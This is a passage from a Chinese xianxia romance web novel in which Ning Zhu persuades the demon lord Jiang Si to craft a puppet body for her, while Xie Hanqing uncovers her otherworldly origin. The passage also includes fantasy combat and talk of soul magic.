宁竹故作自然:“我今天换了个香包。” 江似的手往下滑,找到那只香包,黑色魔焰缠绕而上,香包很快化为齑粉。 “臭死了,不要戴这个。” 他擦着她的脖颈轻嗅,如同一只野兽。 宁竹背脊绷紧,手掌冒出点儿冷汗来。 江似有点奇怪:“……你今天的味道,不太一样。” 宁竹松了一口气,及时打断他:“我刚刚沐浴完呢,可能是换了浴盐的原因。” 宁竹从他怀里挣扎而出,看着他的眼睛:“江似,还记得你答应了我什么吗。” 宁竹试探着说:“傀儡术,我想学傀儡术。” 江似根本不记得自己什么时候答应过她。 他睨她一眼:“傀儡术很难,你学不会的。” 宁竹一下子变得蔫巴巴,但她很快又说:“我可以努力学的!” 江似摇头:“不行,制造傀儡要耗费心头血,你修为太低,于身体有损。” 他话音一转,扬着下巴:“你做傀儡干什么,说来听听,可以的话我帮你做。” 宁竹激动不已,险些跳起来:“真的吗!!” 江似傲娇地嗯了一声。 宁竹立刻抓住他的袖子摇了摇:“你能先跟我说一说一具傀儡是怎么做出来的吗?” 江似慢条斯理跟她说了,原来制作傀儡不仅仅对制作者的观摩复刻能力要求极高,更要以心头血为引,炼化血肉,才能使傀儡活灵活现,与真人无异。 “一具傀儡要成型,还有最重要的一步,炼化神魂。” 说来这可是江似的拿手绝活,他不免洋洋自得道:“只要神魂保存得当,我手下制作出的傀儡,不伤不毁,不死不灭。” 宁竹第一次知道傀儡术原来那么变态,难怪会被列为禁术。 但若是傀儡术真如江似所说这般厉害,别有所图者完全可以用来制作一批可怕的人形杀器啊。 宁竹便问出了自己的疑惑。 江似听罢却是一笑:“不是谁都能承受得住神魂异体的。” “你可以理解为傀儡乃是新制造的肉身,但神魂被从原来的肉身中剥离出,会震荡不稳,很有可能会在移植神魂的过程中遗失三魂六魄,若是与新肉身相斥,也很有可能会导致神魂泯灭。” 宁竹听得心惊肉跳,下意识问:“你可以吗?你能承受住吗?” 少年似笑非笑看着她:“宁竹,我用我的傀儡去找过你啊。” 宁竹大惊。 什么时候?她怎么不知道? 等等…… 宁竹忽然想起有一次他闯入天玑山,她原本以为会触发禁制,但一切安然无恙。 难道那一次就是傀儡江似? 宁竹雀跃道:“所以你有一具自己的傀儡!” 江似点了下头:“怎么,你要做谁的傀儡?” 宁竹留了个心眼,她说:“还有一个问题,傀儡被制作出来之后,还可以修正更改吗?” “宁竹,你还是不理解傀儡术。” “傀儡术,就像是锻造一件人形法器。” “法器的形态、功能都可以炼化修改,傀儡自然也可以。” 宁竹道:“那你可以把你的傀儡变成我的样子吗?” 江似的表情空白了一瞬,片刻后,他点点头:“自然。” 宁竹开心不已,那太好了!叫江似做一具谢寒卿的傀儡简直是天方夜谭。 但既然傀儡可以更改,她完全可以让谢寒卿的神魂附着在别的傀儡上,在一点点炼化更改相貌。 眼前不就有一具现成的? 宁竹眼神飘忽,试探开口:“江似,我之前误闯魔宫,看到魔宫地底有一具我的傀儡。” 江似的表情起了变化。 似乎潜意识在阻挡他说什么,片刻后,他轻描淡写道:“那具傀儡已经被毁了。” 宁竹僵住。 江似含糊道:“我制造傀儡也是为了行走方便,肉灵合一,自是自己的肉身最好。” 宁竹沉默片刻,问:“你知道为什么魔尊要毁去那具傀儡吗?” 江似的眉头轻轻蹙起,似乎在挣扎。 宁竹牵起了他的手,看着他的眼睛一字一句问:“江似,你知道的对不对,为什么魔尊要毁掉那具傀儡?” 江似的尾巴控制不住地轻轻击打着地面。 宁竹软着语气,带着哄劝的意味:“江似,告诉我好不好。” 江似最终在她的目光中一寸寸败下阵来。 他垂着眼,哑声开口:“……因为你不会喜欢。” “把你强留在魔域,你不会快乐。” 宁竹的心脏像是被一把小小的刷子刷过,酥麻不堪。 她眼角一点点弯起来,用温柔的目光注视着他:“江似。” “嗯?” “再替我制造一具傀儡吧。” 江似很惊讶,他抬眸看她,黢黑幽暗的眼瞳带着一点困惑。 宁竹指尖冒出几缕红丝:“这个东西,搅的我很痛。” 江似变得很紧张:“会痛吗?” 宁竹嗯了一声:“神鸟告诉我,要想消除这些红丝,最好的方法就是寻找一具新的肉身。” “江似,你能帮我吗?” 江似沉默片刻,忽然说:“宁竹,傀儡不死不灭,但……” “傀儡五感也会有所缺失,闻不见花香,尝不到咸淡。” 宁竹愣了下,忽然有点难过。 ……这样吗? 可是比起他们和昆仑骨一同毁灭的结局,这样真的已经很好了。 宁竹垂了下眼:“嗯,没关系的。” 她眸中泪意一点点渗出:“红丝太痛了……用新的肉身,至少不会那么痛。” 江似听出她的哽咽之意,手忙脚乱要帮她擦眼泪:“宁竹,不要哭。” “我会想办法……” 宁竹抬眸看他:“没关系,我们先把傀儡做出来,好吗?” 她牵着他的袖子,一点点把泪意憋回去:“总会有改良的办法的,是不是?” 她露出一个笑意:“我这个人最怕疼了,有了新的肉身之后,就再也不怕疼了。” 江似讷讷看着她。 他总觉得哪里不对劲,但又不知道到底问题出在哪里。 出于本能,他用尾巴圈住她:“宁竹,我会好好做的。” 他会做一具完美的傀儡……这样宁竹就再也不用痛了—— 作者有话说:审核大人求过! 第82章 天色渐渐亮起来了。 鸟儿枝头跳跃, 惊落一树晨露。 谢寒卿扶着额头,缓缓睁开眼。 稀薄的晨光映在小仙君淡若琉璃的眼瞳中,漾出一圈浅浅的金色弧度。 谢寒卿掀开被衾。 衣衫整洁如新,就连上面的弧度都是漂亮的。 谢寒卿屈膝坐在榻上, 片刻后, 他摊开手, 一枚隐蔽在暗处的留影石飞来。 他眼瞳微转, 点了点留影石, 直接拉到他失去记忆的那一瞬。 留影石里出现了一团蓬松雪白的尾巴。 谢寒卿眉头微蹙。 ……妖毒?他竟然觉察不到? 谢寒卿继续往下看。 哐当。 留影石掉到了地上。 怀卿剑嗡鸣着破空而出, 谢寒卿踏上长剑, 直直往宁竹的洞府飞去。 今日是个晴天。 宁竹的洞府前,落英缤纷, 芭蕉新绿,一切都沐浴在晨光中。 宁竹就坐在窗棂边, 打磨着一块晶莹剔透的月髓石。 光影斑驳, 落在少女柔软的发梢上,她微微低着头,睫毛在眼底落下一道漂亮的影。 一切美好得就像是一副画。 谢寒卿不知道看了她多久。 宁竹放下手中的月髓石,伸了个懒腰, 她无意识地往外瞥,忽然看到了谢寒卿。 谢寒卿定定盯着她看。 宁竹面色如常,朝他挥手:“谢师兄!你怎么来了?” 她推开门,走了出来。 斑驳的光被揉碎,她含着浅浅的笑意, 发间亮晶晶的流苏像是阳光下的雪。 谢寒卿瞳孔忽地一缩。 ……宁竹的元阴为什么还在? 不,不对,谢寒卿后知后觉, 自己的元阳也还在。 不可能。 他在留影石上下了禁制,旁人不可能觉察留影石的存在,也不可能在上面动手脚。 昨夜的一切都是真的。 谢寒卿忽然想起留影石中,她离开前从乾坤袋里取出一个什么东西,又解下了怀卿剑的剑穗。 他细细在识海中翻找那段记忆,终于看清了。 阴阳精石。 ……原来如此。 思绪万千变幻,宁竹已经走到了自己面前。 她仰头,带着盈盈笑意唤:“谢师兄。” 谢寒卿垂下眼眸。 两人四目相对。 谢寒卿心底涌起无尽苦涩。 他们分明已经做尽世间最亲密的事,为何她偏偏要假装什么都没发生过? ……是因为要回“家”了么? 只当这是一段露水情缘? 小仙君瞳色很淡,如同冰封数尺的湖面。 湖底波涛汹涌,无人窥见。 他忽然张开双臂,将宁竹拥入怀中。 微微偏头,用鼻尖轻蹭宁竹的耳尖:“宁宁……宁宁。” 热气缱绻,一丝丝往她耳朵里钻。 他感觉得到怀中人变得绵软,耳尖亦染上一层绯色。 谢寒卿眼尾一点点红了。 她的身子……还记得。 骗子。 宁竹挣扎了下,谢寒卿却将她抱得更紧:“昨晚你来找我说了什么事?为什么我不记得了?” 宁竹的声音听起来仿佛毫无破绽:“谢师兄,你中了妖毒,所以你才会失去意识,昏迷不醒。” 她没给谢寒卿开口的机会,立刻说:“其实前天晚上我就注意到了,只是那个时候我不确定。” “谢师兄,你放心,这妖毒对你身体无害,我昨日在典籍里翻到一个方子,需要取玄天瞑花入药,玄天瞑花现在还未到花期,等之后取它入药,就可以去除你体内的妖毒了。” 昨晚江似告诉她,一具傀儡最快也要花二十日时间才能制作出来。 时间那么久,他们二人中了妖毒的事情根本瞒不了,不过好在宁竹占得先机,利用了这点时间差。 谢寒卿反问:“妖毒?” 宁竹点头:“嗯,入夜时发作,发作时你会丧失意识。” “……只是如此?” “只是如此。”宁竹放开他,用笃定的神情说:“记得无烬的姐姐吗?她之前就是中了妖毒。” “她是凡人,又是堕魔后中的妖毒,你不一样,谢师兄,妖毒对你的影响会小很多。” 谢寒卿却问:“我妖化时,是什么样?” 宁竹的脸一点点红了:“九尾狐。” 她也很奇怪,妖王本体是蛇,怎么他们被妖力侵染,一个变成九尾狐,一个又变成黑龙。 谢寒卿重复:“九尾狐。” “宁宁,你喜欢么?” 宁竹眼眸微微瞪大,她结结巴巴说:“是,是还蛮可爱的。” 谢寒卿勾着她的手,垂着眼睫:“宁宁若是喜欢,那这妖毒不去也罢。” 宁竹摇头:“那怎么能行?” 宁竹带着哄劝的意味说:“谢师兄,玄天瞑花再过十几日就会开放,到时候我亲自煎药为你解妖毒。” “只是这段时日,谢师兄要尽量待在自己的洞府里,毕竟你妖化的时候意识全无……” “宁宁,入夜之后,你可以陪着我吗?” 宁竹眼神飘忽了下。 “好,我会来无咎洞府陪着谢师兄。” 反正他什么都不记得,到时候自己再偷偷溜去幽冥集市找江似就行。 她还要看着江似做傀儡呢。 一道传音符飞到谢寒卿面前,谢寒卿瞥了一眼,将传音符捏到掌心。 宁竹忙说:“谢师兄,是有人找你吗?” “嗯。” 宁竹道:“那谢师兄快去忙吧。” 谢寒卿的目光滑落在靠窗的桌案上,那里堆叠着许多工具,他漫不经心问:“宁宁方才在做什么?” 宁竹脸上没有露出任何一丝端倪:“接了个珠玑阁的活。” 谢寒卿看她片刻。 如果他方才没看错,宁宁手里的是月髓石,月髓石价格高昂,数量也十分稀少,就是珠玑阁也鲜少会用这么宝贵的材料。 她要用来做什么? 但到底谢寒卿没有问出口,他冲着宁竹点点头:“宁宁,晚上我在无咎洞府等你。” “好呀。” 宁竹目送着谢寒卿飞走。 她松了一口气,继续回到小屋,开始雕琢 那枚月髓石。 ……这枚月髓石,是她偶然间在幽冥集市收到的。 月髓石贵在数量稀少上,其实于练器一途而言,有很多可以替代它的矿石材料。 但是当时她心念一动,还是收了这块月髓石。 因为它的色泽……很像谢寒卿的眼睛。 谢寒卿腾在半空中,展开了那道传音符。 传音符里响起姜思无的声音:“寒卿,我已找追查到姜楠的一位后人,人就在淮水,你有空的时候可以过来一趟。” 谢寒卿没有半分犹豫,朝着淮水飞了过去。 碧水瑶台。 姜思无负手站在庭院中,遥遥看着屋子里那个白发苍苍的老人。 这人便是姜楠的后人。 也算是他们的幸运,姜楠远嫁西陵后,诞下了一个女儿,后来又有了一个外孙,姜楠的女儿和外孙都是修士,虽说资质平平,但也都活了四百多年。 此人便是姜楠外孙的孙子。 只可惜这个人是个凡人,姜思无找到他的时候,老人家垂垂病矣,他喂下一颗丹药,才堪堪让他恢复了几分生气。 谢寒卿出现在上空的时候,姜思无一惊:“寒卿?” 小仙君已经匆匆下了飞剑:“表兄,人在哪里?” 姜思无领着他进了屋子。 老人瑟缩在屋里,看到谢寒卿和姜思无进来,哆哆嗦嗦道:“两位仙君……” 谢寒卿道:“老人家,你别紧张,我找您来是有一点事情想问。” 见老人有些发抖,谢寒卿又说:“您祖上也是姜家人,算来我们也是有几分血缘关系的。” 老人曾听家里人说过,他们祖上是了不得的修士家族,但到他这一代已经没落了。 他和他爹都是凡人,老人根本没想到过会与这么显赫的修士家族扯上关系,现在还是十分惶恐。 他看着面前这个天人之姿的小仙君战战兢兢说:“仙君想问什么,我定知无不言。” 谢寒卿偏头看姜思无:“表兄,我想单独跟这位老人家说几句话。” 姜思无自然知道不会那么简单,他识趣地拍了拍谢寒卿的肩膀,转身离开。 谢寒卿走到老人面前:“老人家,我需要取一点您的血。” 老人自是百般配合,忙撸起袖子来。 谢寒卿礼貌颔首,左手结印,右手双指合并,操控剑气在他手腕上割出一条小小的伤口。 空气中凝结出一个金色的阵法,血滴飞入阵法,阵法如同水波一般微微荡开。 老人的眼神倏然一空。 与此同时,谢寒卿的眼瞳变成金黄色。 一缕青丝飘入阵法中,谢寒卿手下翻飞结印,片刻后,阵法模模糊糊出现了一些画面。 高楼林立,车水马龙,宁竹站在马路边,穿着一条白色的连衣短裙。 一张公交车缓缓停下,宁竹上了车,站在窗边往外看。 谢寒卿瞳孔一缩。 画面中的景物,乃是修真界绝不可能出现的。 宁竹手中的手机响了起来,她划开屏幕,对面出现了舍友的脸。 “宁竹,就差你一个了,你到哪里了?” 宁竹说:“还有两站,马上就到了。” “上楼左转啊,三号包间。” 老人家似乎有些承受不住溯宗之术,整个人都开始颤抖。 再这样下去,他会因为承担不住古术直接暴毙。 小仙君冷淡剔透的瞳死死盯着画面上那个穿着白色连衣裙的少女。 片刻后,他解开了溯宗之术。 谢寒卿唇边溢出一丝鲜血。 他眼尾猩红,眼眸中竟透着些癫狂之色。 异世之人。 宁竹……竟是异世之人。 他弯腰,忽地咳出一口血来。 天色一点点黯淡下来。 宁竹放下手中的月髓石,前往无咎洞府。 她在竹林中徘徊了一会儿,才鼓起勇气往洞府中走。 没关系的,谢师兄什么都不记得,而且她今天带了缚妖索,到时候多捆两道不就行了。 屋子里并未掌灯,宁竹有点奇怪,她刚要推开门,忽然有人从身后抱住她。 熟悉的冷香扑面而来,将她整个人包裹住。 宁竹身子一僵:“谢师兄。” 谢寒卿声音很哑:“……宁宁。” 小仙君身子滚烫,宁竹反应过来,忙回过身:“谢师兄,你身子怎么那么烫?是不是哪里不舒服?” 谢寒卿眼眶很红,像是哭过一样。 他再次把宁竹抱到了自己怀中。 “宁宁。”他低声唤她的名字。 宁竹不知所措,抬手轻轻拍了拍他的背:“谢师兄,你怎么了?” “你身子好烫,我们要不要去太素阁看一看?” 谢寒卿忽然开口:“宁宁,在音希山的时候,你问了神鸟什么问题?” 宁竹陷入沉默。 谢寒卿的声音变得有些颤抖:“宁宁,可以告诉我吗?” 晚风吹拂,他们的发交缠在一起。 宁竹越过他的肩,看向远方连绵的山峦。 天色将暗未暗,繁星点点,偶有有弟子御剑,形态各异的飞鸟在云端盘旋。 这是她的世界里绝对不可能看到的景象。 宁竹的眼角湿润了。 她把自己紧紧埋在谢寒卿肩头:“谢师兄,我现在还不想说,等我替你解妖毒那一日,我再告诉你,可以吗?” 收拢在她腰间的手无声收紧。 小仙君的肩头洇湿了一片。 良久之后,谢寒卿轻声说:“好。” 入夜之后,谢寒卿又现出妖态。 但是这一次,他只是用尾巴安静地圈着宁竹。 宁竹还要去找江似,只能哄劝他:“谢师兄,我现在有事要出去一趟,你乖乖呆在无咎洞府,可以吗。” 谢寒卿不情愿地用尾巴圈住她的手腕。 最后他朝她开了手:“宁宁,把我捆起来。” “……不然我会忍不住想去找你。” 宁竹沉默片刻,只能拿出那条缚妖索,温柔地将他绑了起来:“谢师兄,你在这里等我。” 小仙君趺坐在蒲团上,清冷的眼瞳充满信赖地看着她。 “嗯,我在这里等宁宁。” 宁竹对他笑了下,转身离开。 关门时,她握着门环迟迟没有松开。 屋子里,小仙君被缚妖索捆住,白袍逶迤,狐狸耳微微趿拉着,静静看着她。 片刻后,宁竹一狠心,转身离去。 ……够了,宁竹。 不要心软,也不能迟疑。 能困住昆仑骨的人唯有她。 用自己来换一个不一样的结局,不是很值得吗? 更何况,她本就是异世来客。 只有这么做,才有几率回到自己的家,才有几率回到爷爷身边。 宁竹跳上飞剑,以最快的速度朝着幽冥集市飞去。 风吹散了眼角湿痕。 第83章 宁竹赶到幽冥集市的时候, 江似正坐在屋子里专心的做着傀儡。 莹白如玉的骨,浸泡在缓缓流动的银色液体中,少年挽着袖角,纤长的指攥着刻刀, 灵巧地在那块巨大的骨上雕琢。 宁竹轻轻咳嗽了一声。 江似才后知后觉抬起头来:“宁竹, 你来了。” 宁竹坐到他旁边:“江似, 这是什么东西的骨头?” “云鲸骨。” 宁竹有点讶异:“云鲸骨?你是在淮水秘境里寻来的吗?” 江似沉默片刻, 点了点头。 ……原来那个时候, 他就已经想要做自己的傀儡了。 宁竹没有生气, 只是问他:“你知道魔尊为什么之前就想做我的傀儡吗?” 江似脸上出现挣扎的表情。 宁竹没有再逼他:“不想说就算了。” “宁竹, 他不是个好人。”江似忽然开口。 少年咬着牙:“……他不是好人。” “一开始他是觊觎你体内的红丝,想要将你炼化到傀儡中。” 他声音变小了几分:“后来……后来是想把你留在他身边。” 这个回答并不出乎宁竹的意料。 她弯了下眼睛:“嗯, 我知道了,可 是江似, 后来他毁掉了那具傀儡。” 少年头顶的龙角轻轻颤动。 宁竹看着他, 一字一句说:“无论如何,他没有伤害到我,不是吗?” 江似没有说话。 宁竹便也不再说话,陪在他身边, 默默的看他雕刻傀儡。 天色快要亮了。 江似停下,黢黑的眼瞳看着她:“宁竹,我今天也要回去吗?” 宁竹之前告诉他,自己必须在天亮前回去。 可是他现在不想离开,他还想和宁竹待在一起。 宁竹只是用眼睛温柔的注视着他:“你不想回去吗?” “……嗯。” 宁竹主动牵起了他的手, 坐到窗边:“那江似,我们在这里一起看日出吧。” 他们依偎着坐下,江似的龙尾欢喜地圈住她的身子。 少年小心翼翼地瞥向宁竹, 宁竹脸上没有厌恶,也没有抗拒。 他开心地摆尾,将宁竹圈得更紧了。 太阳跃出天际线,霞光万道,层云尽染。 江似的妖身一点点消失。 他瞳孔一缩,偏头看向宁竹。 少女只是带着盈盈笑意对他说:“江似,太阳出来了。” 江似回头,看向他身后那具正在制作的傀儡,眼瞳中闪过惊慌。 ……他这几天晚上到底做了什么? 宁竹偏头看他:“江似,你答应了要帮我做一只傀儡的,一会儿继续?” 四目相对。 江似仔细盯着她看。 ……没有厌恶,也没有其他异样。 她定然还不知道他的真实身份,但是自己为什么会帮他做傀儡? 该死,这几天晚上到底发生了什么? 江似挪开视线,嗯了一声。 他们两人又并肩看了一会儿日出,宁竹起身:“我一会儿还要回一趟天玑山。” “江似,晚上我们去吃大榕树下的那家馄饨吧。” 江似仰头看她。 宁竹笑了笑:“酉时,我在那里等你。” 宁竹离开之后,江似抬手,发上的发带飞到了他掌中。 发带化为一面黑色的雾镜。 镜面开始流动,昨天晚上发生的事情在镜子中浮现。 江似的眸光一点点暗下去。 漆黑无边的眼瞳中,翻涌着惊涛骇浪。 ……宁竹已经知道他的身份了。 是从什么时候开始知道的? 黑色的雾镜被打碎,江似立在傀儡旁边,垂在身侧的手微微发颤。 宁竹踏着飞剑往攀云峰飞。 她有些心神不宁,竟然没看见谢寒卿早早守在崖边。 下飞剑时,忽然有人扶了她一把。 宁竹愕然抬眸:“谢师兄。” 谢寒卿轻轻替她拨开颊边的乱发:“宁宁,你来了。” 宁竹点点头。 “昨天晚上有发生什么吗?” 宁竹一惊,下意识看向他。 谢寒卿和江似都聪慧过人,失去一整晚的记忆……时间长了肯定会被他们察觉。 昨晚是他们妖化的第三晚,宁竹猜测,两边都会采用一些手段来窥探这段时间到底发生了什么。 那谢寒卿现在问的……是无咎洞府这边,还是她离开这段时间? 宁竹试探道:“没有什么,你很安静。” “嗯,那就好。” 谢寒卿面色如常,牵起她的手:“我从食舍里带了早膳,一起去用些吧。” 宁竹跟着他走了两步,忽然有点疑惑。 ……谢师兄难道真的没有查探这段时间到底发生了什么? 宁竹决定问出来:“谢师兄,你不记得妖化之后发生的事情,会担心吗?” “……我可以给你在旁边放一面留影镜。” 谢寒卿停下了脚步。 他偏头看她,清浅的眼瞳映出她的影:“宁宁不是一直陪在我身边吗?” “既然如此,又有什么需要有什么担心。” 宁竹心底涌起愧疚,她小声说:“嗯,也是。” 从今天晚上开始,她就好好待在无咎洞府吧,至于江似那边…… 他肯定会好好帮她完成那具傀儡。 ……无论是用江似的身份,还是用魔尊的身份。 宁竹垂下眼睫。 无咎洞府的确是个清修之地。 灵气充沛,风拂墨林,雀鸟清啼。 两人便坐在亭子里,烹茶相对,宁竹在编剑穗,谢寒卿在看书。 有时候宁竹察觉到谢寒卿的目光落在她身上,她抬起头来,却又好像是她的错觉。 宁竹低下头继续编剑穗,小仙君的目光便再度缠到她身上。 清冷的眼瞳中透着一丝偏执,他就像是一个隐藏在暗处的猎人,极有耐心,蛰伏不动,以免吓到他的猎物。 宁竹根本不知道,谢寒卿手里翻看的正是一本禁书。 里面记载了夺舍之术,移魂之术,以及各种各样修真界骇人听闻的禁术。 可谢寒卿翻来覆去,唯独找不到有关异世的记录。 他有点烦躁,将手中书册翻得哗啦作响。 直到“昆仑”两个字映入眼帘。 上面提到,昆仑一族为上古神族,昆仑一族神力强大,神力代代相传,有神兽为坐骑,除此之外,再无只言片语。 关于这一条,他已经看过很多次了。 上古神族的传说在修真界并不算秘密,但是众所周知,神族千万年前已然陨落,寻常修士并不会对所谓的神族产生任何兴趣。 可是谢寒卿忽然想起一件事。 妖王说,他们身上都有昆仑神女的气息。 从妖巢离开之后,他还没来得及去寻找昆仑神女相关的信息。 但在此时,某些蛛丝马迹忽然被联系到一起。 昆仑神族,音希山神鸟,以及他们身上昆仑神女的气息。 谢寒卿的瞳色倏然变得幽暗。 他合上那本禁书,对宁竹说:“宁宁,我忽然想起来今日师尊要见我,我要去一趟绝云峰。” 宁竹道:“谢师兄,那我先回洞府吧,晚上再过来陪你。” 谢寒卿注意到她有些飘忽的视线。 他掩下心中燥意,抬手帮她拨开耳边乱发:“嗯。” 谢寒卿离开无咎洞府,直奔藏书阁而去。 藏书阁地下两层乃是禁书区,需得持有掌门手令方能进入。 看守禁书区的弟子看见谢寒卿,忙躬身行礼:“谢师兄。” 谢寒卿淡淡颔首,那弟子道:“谢师兄,我需要验一下掌门手令。” 谢寒卿没有说话,抬手微微一挥,那弟子陷入昏迷。 禁书区设有结界,但谢寒卿轻而易举解开了结界,进入了禁书区。 谢寒卿一排排扫过去,这里许多书他都看过。 他记忆力惊人,很快从中筛选出十几本禁书。 谢寒卿飞快翻看起来。 时间一分一秒过去,谢寒卿一目十行,寻找着蛛丝马迹。 外面天色一点点暗下来。 谢寒卿转动了下干涩的眼,眸光忽然一凝。 那本泛黄的书上赫然写着几行字。 “上古神族昆仑一族,有破碎虚空,打通三千界之能。” 谢寒卿捏住书册的手指一点点收紧。 ……破碎虚空,打通三千界? 小仙君清冷的眼瞳,一点点被猩红的暗色覆盖。 幽冥集市,宁竹坐在大榕树不远处,百无聊赖地把玩着手中的叶子。 正值夕阳西下,背后的河水波光粼粼,碎金万点。 河对岸不远处,一人隐在暗处盯着她。 宁竹揪着手中叶片,盯着地面发呆。 路过之人偶尔会对江似投来好奇的目光。 他们小声议论:“……你看那个人的头发会变色诶。” 少年马尾高束,黑银相交的发偶尔会变成银色。 这个时候,银发可不是什么好象征。 同伴扯着他匆匆离开:“别多事。” 宁竹似乎等得有点无聊了,她起身活动了下。 就在这是,两个醉醺醺的男修从她身后路过。 “哟……小美人,自己一个人在这儿等谁呢?” “等了那么久人家也没来,还等什么?不如跟我们去喝一杯?” 两个男修带着不怀好意的笑靠近宁竹。 江似眼神阴 沉,正要出手,宁竹干脆利落出剑,金石相击,地面火花四溅,剑尖再进一步,就能将他们两人的足尖齐齐削断。 其中一个男修恼了:“找死!” 他抬手,一缕魔气缚住宁竹手脚,他阴恻恻笑着:“敬酒不吃吃罚酒。” 旁边的路人纷纷尖叫着四处逃窜:“魔修!有魔修!” “快去通知监管修士!” 那人显然也不想在这里闹大,他抓着宁竹就要离开 就在这时,一道影子鬼魅般缠上来。 江似单手掐住他的脖颈,眼瞳洞黑,鬼气森森盯着他:“谁给你的胆子。” 魔修眼球暴凸,喉头发出嗬嗬响声,口鼻都开始流血。 缚住宁竹的魔气松开,宁竹揉了揉手腕,抬眸看江似。 魔修的同伴惊恐不已,这少年只是掐住脖颈,便让他的同伴毫无还手之力。 要知道他们都是鬼母手下的得力干将,何至于此! 他试图凝出魔气攻击少年,但魔气才触碰上他的身子,边如同泥牛入海,消失不见。 眼见同伴就要被活生生掐死,魔修色厉内荏道:“你若是敢杀尊上的人,尊上定然不会放过你!” 那面白如鬼,瞳色黝黑的少年微微偏头:“尊上?你又是什么虾兵蟹将?” 魔修气得面色涨红。 魔尊御下虽然严格,但他们私下里也没少招摇过市,毕竟再强的修士也会被魔气侵染,修士对魔修可谓是避之不及。 他横行已久,哪被人如此轻视过。 他眸中凶光大作,凝出一柄魔剑,扬手朝着江似的要害刺去! 哪怕杀不死他,也足以让他被魔气侵染! 然而剑尖还未靠近江似,便被一股无形的力量挡住。 下一刻,那魔修口鼻流血,当场暴毙。 魔气四散,很快消失不见。 江似如同扔垃圾一般两具尸体踢开,抬手一挥,尸体化作血水。 周围一片鸦雀无声。 宁竹的裙摆上溅了点儿血。 江似抬手施诀,将宁竹裙摆上的血渍弄干净。 夕阳缓缓流动在河面上,透着一种血红的色泽。 少年低垂着头,垂在肩上的马尾也被渡上一层淡淡的血色。 宁竹忽然拉住了江似的手:“江似,肚子好饿,我们去吃馄饨。” 江似眼睫颤了颤,片刻后,他回握住宁竹的手:“……好。” 他们牵着手走进了那家馄饨铺子。 方才种种就发生在门外,店里的客人都是亲眼目睹了这一切,见江似和宁竹进来,吓得霎时起身结账离开。 很快店里只剩下他们一桌客人。 宁竹有点愧疚,掏出一枚灵石放在老婆婆面前:“婆婆,抱歉,吓跑了你的客人。” 老婆婆却把灵石推回来:“你们好久没来吃馄饨了。” 她笑盈盈说:“口味还和之前一样?” 宁竹怔了下,也笑着说:“嗯。” 很快热气腾腾的馄饨上了桌。 老婆婆主动给他们拿筷子:“魔修该杀,你们这是为民除害。” 宁竹僵了下,飞快瞥江似一眼,小声说:“谢谢婆婆。” 江似面色不变,慢条斯理吃着馄饨。 一碗馄饨很快见底,江似忽然开口:“宁竹,看到没,魔修都是惹人讨厌的。” 宁竹将汤匙放下,正着脸色看他:“不是。” “江似,不是的。” “无论是修士还是魔修,都有好有坏,又怎么能单纯以身份来论一个人?” 江似也放下了汤匙,面无表情看着她:“宁竹,不是谁都可以像你一样抛掉偏见。” 宁竹沉默片刻,对江似说:“跟我回一趟天玑山。” 两人一前一后出了馄饨铺子,江似在原地微微停顿了片刻,本体化为一缕魔气,而傀儡出现。 江似的神魂附着在傀儡身上,跟在宁竹身后。 宁竹对此毫无所觉。 江似亦步亦趋,盯着宁竹的背影。 ……看啊,就连陪她回天玑山,他也得躲躲藏藏,这样才能避免露了端倪。 修士和魔修……从来就是不共戴天。 第84章 两人一路沉默。 他们来到在一座孤峰。 江似环顾四周, 微微蹙眉:“这是哪?” 宁竹带着他走到一座不显眼的坟茔面前:“殷长老就葬在此处。” 江似回忆了片刻,才想起这个人。 ……原来是太素阁的那个老头。 宁竹垂下眼:“殷长老……是魔修。” 江似并不出乎意料。 当时他魔气暴动,殷长老替他遮掩过一二。 后来他回天玑山时,其实查找过他的下落。 只是堂堂天玑山, 竟让一个魔修在宗门蛰伏百年, 宗门觉得不光彩, 殷长老的事被压了下去, 江似只是随意打听了下, 听说他已经离开天玑山便作罢。 江似问:“他不是离开天玑山了吗?” 宁竹摇头, 把那一日的事情细细说了一遍。 说到最后, 她有点哽咽:“殷长老这些年在太素阁行医救人,从未生过残害弟子的心思。” “这样的人, 又如何能算作一个坏人?” 宁竹不能让江似知道,她在记忆里看到过他被清虚真人和谢凌风联手钉下锁魂钉的事, 只能含糊其辞:“修士就不会戕害同族, 残害无辜吗?” 宁竹定定看着他:“江似,善恶自在人心。” “身份根本决定不了什么。” 江似看她片刻,倏然抬手揉了揉她的发:“这么苦口婆心劝我,是担心我做什么坏事么?” 宁竹抓住他的袖子:“不只是如此。” 她意有所指:“江似, 你有能力约束其他人的。” 江似眼角一跳。 他背过身子,淡声说:“魔修需要吸食血肉来修炼,魔气会侵染正常修士……” 他的唇角勾起嘲讽的幅度:“宁竹,魔修生来就是坏种。” “魔修就一定想成为魔修吗?”宁竹发问。 江似怔住。 宁竹上前直视他的眼睛:“江似……成为魔修并不是你的错。” “被魔气侵染也并不是那些人的错。” “天生作恶多端的魔修,和那些沽名钓誉, 同类相残的修士并没有什么区别。” “但既然你有能力约束旁人,为什么不试试呢?” “……试着拉那些在悬崖边的人一把。” 宁竹不敢大放厥词说将来有一天众人可以抛弃对魔修的偏见,但至少她可以劝说江似, 帮一帮那些迫不得已成为魔修的人,也去约束那些作恶多端的魔修。 昆仑骨被毁灭还需要百年之久,也就是说,魔气还会存在数百年,魔域也还会存在百年之久。 宁竹在这个时候无比庆幸,魔尊和江似就是一个人。 她对江似足够了解,所以她敢赌,赌江似能听进她的话。 江似伸出手,将宁竹揽入怀中。 他忽然发现,站在这个山坡上,能看到太素阁。 江似的目光扫过殷长老的坟茔,垂眼笑了下:“宁竹,我答应你。” 他缓缓低头,埋在她的颈窝里,嗅着她发间的香。 “但是宁竹……” 宁竹轻声问:“嗯?” 江似缓缓收紧环在她腰间的手。 但是宁竹……你的好,能不能多分一点给我。 他最终什么也没说,只是轻轻抚了下她的发:“没什么,宁竹,天要黑了,我们回去吧。” 入夜之后,宁竹坐在一旁看着江似做傀儡。 少年睫羽低垂,眼神专注,仿佛手心捧着的是世间最华贵的宝物。 他的尾巴紧紧圈住宁竹的腰。 打更声响起。 宁竹推了推他的尾巴:“江似,你乖乖在这里做傀儡,我出去一趟。” 少年停下手中动作,抬眸看她。 那双黝黑的眼因为妖化而显出几分天真:“不要。” 宁竹摸了摸他的尾巴:“很快就回来,你乖乖在这里等我好不好?” 江似不情不愿缠紧了宁竹的腰。 宁竹凶巴巴说:“江似,放开。” 江似偷偷瞥向宁竹。 宁竹板着脸:“再不放开我就不理你。” 江似吓得立马松开尾巴。 宁竹抬手摸了一把江似的龙角,夸他:“真棒。” 好不容易把江似哄好,宁竹关上门,离开了宅院。 